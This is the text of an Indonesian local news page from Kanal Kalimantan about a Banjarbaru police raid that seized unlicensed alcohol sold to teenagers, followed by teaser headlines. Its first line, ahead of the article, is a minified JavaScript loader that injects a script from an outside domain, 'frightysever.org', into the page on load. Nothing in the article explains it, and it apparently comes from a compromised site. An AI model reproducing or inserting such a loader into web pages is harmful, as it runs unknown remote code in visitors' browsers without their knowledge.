(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penjualan alkohol tanpa izin edar cukup meresahkan masyarakat Banjarbaru. Hal ini menjadikan Polres Banjarbaru melalui Unit Patroli Reaksi Cepat Satuan Sabhara menggelar giat penangkapan di salah satu warung, Jumat (9/1/2021) malam.
“Giat dilakukan di salah satu warung di kawasan Gang Keluarga, Banjarbaru. Petugas menemukan 20 dus berisi 480 alkohol yang tidak memiliki izin edar,” kata Kassubag Humas Polres Banjarbaru, Iptu Tajuddin.
Pemilik ratusan botol miras yang diketahui berinisial TI diamankan menjalani pemeriksaan di Mapolres Banjarbaru. Warung tersebut disinyalir telah masif menjual alkohol kepada kalangan remaja sebagai bahan utama miras racikan.
“Kita mendapat informasi kalau warung ini marak menjual alkohol kepada para remaja. Ya dipergunakan sebagai bahan campuran untuk pesta miras,” terang Iptu Tajuddin. (Kanalkaliamantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.